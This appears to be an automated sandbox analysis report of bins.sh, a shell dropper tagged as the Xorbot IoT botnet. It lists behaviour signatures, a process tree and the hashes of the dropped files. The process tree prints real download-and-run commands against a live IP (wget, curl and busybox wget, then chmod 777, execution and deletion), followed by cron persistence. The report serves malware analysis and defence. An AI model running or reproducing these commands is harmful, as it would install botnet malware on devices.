Analysis

  • max time kernel
    131s
  • max time network
    133s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    13/09/2025, 07:08

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250913-hypc4sxls3
  • SHA256 cb9759f6a86dc952a99cbf140162f88c7546148dbea355ac5e9744d6bd5ac7fe
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 9 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (759) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:708
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:711
      • /usr/bin/wget
        wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Writes file to tmp directory
        PID:713
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:732
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • Writes file to tmp directory
        PID:739
      • /bin/chmod
        chmod 777 o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        ./o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
        2⤵
          PID:741
        • /bin/rm
          rm o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            ./Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
            2⤵
              PID:748
            • /bin/rm
              rm Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Writes file to tmp directory
                PID:751
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Writes file to tmp directory
                PID:752
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • Writes file to tmp directory
                PID:762
              • /bin/chmod
                chmod 777 ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                • File and Directory Permissions Modification
                PID:767
              • /tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                ./ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                2⤵
                  PID:768
                • /bin/rm
                  rm ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                  2⤵
                    PID:771
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Writes file to tmp directory
                    PID:772
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /bin/chmod
                    chmod 777 quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    ./quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                    2⤵
                      PID:801
                    • /bin/rm
                      rm quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                      2⤵
                        PID:804
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Writes file to tmp directory
                        PID:806
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Writes file to tmp directory
                        PID:811
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • Writes file to tmp directory
                        PID:812
                      • /bin/chmod
                        chmod 777 QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                        • File and Directory Permissions Modification
                        PID:813
                      • /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        ./QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                        2⤵
                          PID:814
                        • /bin/rm
                          rm QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                          2⤵
                            PID:816
                          • /usr/bin/wget
                            wget http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            2⤵
                            • Writes file to tmp directory
                            PID:817
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            2⤵
                            • Writes file to tmp directory
                            PID:818
                          • /bin/busybox
                            /bin/busybox wget http://178.16.54.252/bins/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            2⤵
                            • Writes file to tmp directory
                            PID:823
                          • /bin/chmod
                            chmod 777 oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            2⤵
                            • File and Directory Permissions Modification
                            PID:828
                          • /tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            ./oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                            2⤵
                              PID:829
                            • /bin/rm
                              rm oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                              2⤵
                                PID:833
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                2⤵
                                • Writes file to tmp directory
                                PID:834
                              • /usr/bin/curl
                                curl -O http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                2⤵
                                • Writes file to tmp directory
                                PID:845
                              • /bin/busybox
                                /bin/busybox wget http://178.16.54.252/bins/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                2⤵
                                • Writes file to tmp directory
                                PID:855
                              • /bin/chmod
                                chmod 777 z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                2⤵
                                • File and Directory Permissions Modification
                                PID:857
                              • /tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                ./z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                2⤵
                                  PID:858
                                • /bin/rm
                                  rm z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                  2⤵
                                    PID:860
                                  • /usr/bin/wget
                                    wget http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:861
                                  • /usr/bin/curl
                                    curl -O http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:862
                                  • /bin/busybox
                                    /bin/busybox wget http://178.16.54.252/bins/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:863
                                  • /bin/chmod
                                    chmod 777 VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:864
                                  • /tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    ./VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                    2⤵
                                      PID:865
                                    • /bin/rm
                                      rm VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                      2⤵
                                        PID:867
                                      • /usr/bin/wget
                                        wget http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:868
                                      • /usr/bin/curl
                                        curl -O http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:869
                                      • /bin/busybox
                                        /bin/busybox wget http://178.16.54.252/bins/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:870
                                      • /bin/chmod
                                        chmod 777 syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:871
                                      • /tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        ./syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                        2⤵
                                          PID:872
                                        • /bin/rm
                                          rm syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                          2⤵
                                            PID:874
                                          • /usr/bin/wget
                                            wget http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:875
                                          • /usr/bin/curl
                                            curl -O http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:879
                                          • /bin/busybox
                                            /bin/busybox wget http://178.16.54.252/bins/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:880
                                          • /bin/chmod
                                            chmod 777 jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:881
                                          • /tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            ./jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                            2⤵
                                              PID:882
                                            • /bin/rm
                                              rm jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                              2⤵
                                                PID:884
                                              • /usr/bin/wget
                                                wget http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:885
                                              • /usr/bin/curl
                                                curl -O http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:886
                                              • /bin/busybox
                                                /bin/busybox wget http://178.16.54.252/bins/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:887
                                              • /bin/chmod
                                                chmod 777 3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:888
                                              • /tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                ./3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                2⤵
                                                  PID:889
                                                • /bin/rm
                                                  rm 3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                  2⤵
                                                    PID:891
                                                  • /usr/bin/wget
                                                    wget http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:892
                                                  • /usr/bin/curl
                                                    curl -O http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:893
                                                  • /bin/busybox
                                                    /bin/busybox wget http://178.16.54.252/bins/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:894
                                                  • /bin/chmod
                                                    chmod 777 GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:895
                                                  • /tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    ./GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                    2⤵
                                                    • Renames itself
                                                    • Reads runtime system information
                                                    PID:896
                                                    • /bin/sh
                                                      sh -c "crontab -l"
                                                      3⤵
                                                        PID:898
                                                        • /usr/bin/crontab
                                                          crontab -l
                                                          4⤵
                                                          • Reads runtime system information
                                                          PID:899
                                                      • /bin/sh
                                                        sh -c "crontab -"
                                                        3⤵
                                                          PID:900
                                                          • /usr/bin/crontab
                                                            crontab -
                                                            4⤵
                                                            • Creates/modifies Cron job
                                                            PID:901
                                                      • /bin/rm
                                                        rm GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                        2⤵
                                                          PID:903
                                                        • /usr/bin/wget
                                                          wget http://178.16.54.252/bins/AYbRZdhouSP0i2dOZM9pBdwG465YBeIiVp
                                                          2⤵
                                                            PID:906

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              3r23NtuMbHou1oKcNtj6482yArhkdTcxxM

                                                              • Path /tmp/3r23NtuMbHou1oKcNtj6482yArhkdTcxxM
                                                              • Size 141KB
                                                              • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1

                                                              • Path /tmp/GcLHn9KEorq4ZmpiU65Ml5V0q7eDRMibq1
                                                              • Size 152KB
                                                              • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz

                                                              • Path /tmp/Q26q9BinHX4RfKqR5MYJGHaDgsRxRUuUZz
                                                              • Size 107KB
                                                              • SHA256 fa34cf14bba7b0ef493975bfb844eba1971d9c2902b7cc3efded5e25d8c6d405
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj

                                                              • Path /tmp/QM8kcfxuQ8RVz3bWzF2YTU1xhrE9yqsOZj
                                                              • Size 120KB
                                                              • SHA256 620f6949b82f9ef987b7511fbbb09c2da57d8be47b019fa6a9686ce08b4c3e70
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq

                                                              • Path /tmp/VaAMKfLFoDI0xhAbesHHA5aR8Y0EJ3YkOq
                                                              • Size 127KB
                                                              • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i

                                                              • Path /tmp/ZA3LVg4HzVE4EPI7ItD7B3zXVsjit7iF3i
                                                              • Size 118KB
                                                              • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp

                                                              • Path /tmp/jTc6a3qP5JeEl7AkfzABgJzdiizWzfzKsp
                                                              • Size 98KB
                                                              • SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU

                                                              • Path /tmp/o0WIqBRyHnbNjphNckGAPJ7WcBd9jnUfwU
                                                              • Size 113KB
                                                              • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              oolhKmu65BJPrUxezuCymScbiXzX7lSwVe

                                                              • Path /tmp/oolhKmu65BJPrUxezuCymScbiXzX7lSwVe
                                                              • Size 152KB
                                                              • SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy

                                                              • Path /tmp/quu2d2LWEufVjJuXZy6FTCw2N1QEEa8dpy
                                                              • Size 102KB
                                                              • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP

                                                              • Path /tmp/syZYYSDfrODxkp4aVQe5ZSdCr1BZBsDbEP
                                                              • Size 114KB
                                                              • SHA256 4190491b9006404cab256d66125bd77b1c3a0e63451fbb3d829617d7e87acc9b
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v

                                                              • Path /tmp/z77AANMOVfvcgH5orIygXfGk46dMR4Ww0v
                                                              • Size 178KB
                                                              • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              tmp.XVnJwk

                                                              • Path /var/spool/cron/crontabs/tmp.XVnJwk
                                                              • Size 210B
                                                              • SHA256 79900701ba00e1a98e6e81974a78b08b6d02d2e7d0110007af0d348b72aafddc
                                                              • MD5 SHA1 SHA512